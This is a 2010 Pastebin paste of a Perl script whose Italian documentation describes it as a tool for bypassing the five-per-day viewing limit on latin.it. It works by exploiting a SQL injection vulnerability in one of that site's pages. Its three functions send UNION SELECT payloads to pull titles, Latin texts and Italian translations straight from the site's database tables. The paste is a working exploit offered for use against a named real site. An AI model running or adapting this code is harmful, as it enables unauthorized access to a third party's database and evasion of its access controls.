Share Pastebin
Guest
Public paste!

plucky

By: a guest | Jul 29th, 2010 | Syntax: Perl | Size: 2.11 KB | Hits: 29 | Expires: Never
This paste has a previous version, view the difference. Copy text to clipboard
  1. #!/usr/bin/env perl
  2.  
  3. use strict;
  4. use warnings;
  5. use LWP::Simple;
  6.  
  7. # Thanks To: _mRkZ_ and shrod
  8. my $versione        = '';
  9. my $id              = $ARGV[0] || die 'perldoc ', $0, "\n";
  10. my $pagina_buggata  = 'http://www.latin.it/versione/1';
  11.  
  12. sub recupera_titolo
  13. {
  14.   my $titolo      = '';
  15.   my $query       = '';
  16.   my $pagina_html = '';
  17.   my $id          =  0;
  18.  
  19.   $id = shift;
  20.  
  21.   $query       = '+union+all+select+1,2,3,titolo,5,6+from+versioni+where+id='.$id.'--';
  22.   $pagina_html = get($pagina_buggata.$query);
  23.  
  24.   $pagina_html =~ m{left;">(.*?)<br>}xms;
  25.  $titolo = $1;
  26.  
  27.  return $titolo;
  28. }
  29.  
  30. sub recupera_testo_latino
  31. {
  32.  my $testo       = '';
  33.  my $query       = '';
  34.  my $pagina_html = '';
  35.  my $id          =  0;
  36.  
  37.  $id = shift;
  38.  
  39.  $query       = '+union+all+select+1,2,3,versione,5,6+from+versioni+where+id='.$id.'--';
  40.  $pagina_html = get($pagina_buggata.$query);
  41.  
  42.  $pagina_html =~ m{left;">(.*?)<br>}xms;
  43.   $testo = $1;
  44.  
  45.   return $testo;
  46.  
  47. }
  48.  
  49. sub recupera_testo_tradotto
  50. {
  51.   my $testo       = '';
  52.   my $query       = '';
  53.   my $pagina_html = '';
  54.   my $id          =  0;
  55.  
  56.   $id = shift;
  57.  
  58.   $query       = '+union+all+select+1,2,3,traduzione,5,6+from+versioni_traduzioni+where+id='.$id.'--';
  59.   $pagina_html = get($pagina_buggata.$query);
  60.  
  61.   $pagina_html =~ m{left;">(.*?)<br>}xms;
  62.  $testo = $1;
  63.  
  64.  return $testo;
  65.  
  66. }
  67.  
  68. my $titolo_versione = recupera_titolo( $id );
  69. my $testo_versione  = recupera_testo_latino( $id );
  70. my $testo_tradotto  = recupera_testo_tradotto( $id );
  71.  
  72. print 'Titolo: ',              $titolo_versione, "\n\n";
  73. print 'Testo Latino',   "\n",  $testo_versione, "\n\n";
  74. print 'Testo Italiano', "\n",  $testo_tradotto, "\n";
  75.  
  76. =head1 NAME
  77.  
  78. Latin.pl - Script per il bypass del limite su latin.it
  79.  
  80. =head1 SYNOPSIS
  81.  
  82. perl latin.pl <id versione>
  83.  
  84. =head1 DESCRIPTION
  85.  
  86. Latin.it offre la visualizzazione di 5 versioni al giorno
  87. decisamente insufficiente. Questo script sfrutta una vulnerabilita'
  88. SQL Injection per ottenere la visualizzazione dei brani dal DB
  89. aggirando ogni controllo.
  90.  
  91. =head1 AUTHOR
  92.  
  93. plucky
  94.  
  95. =head1 SEE ALSO
  96.  
  97. http://www.unitx.net
  98.  
  99. =cut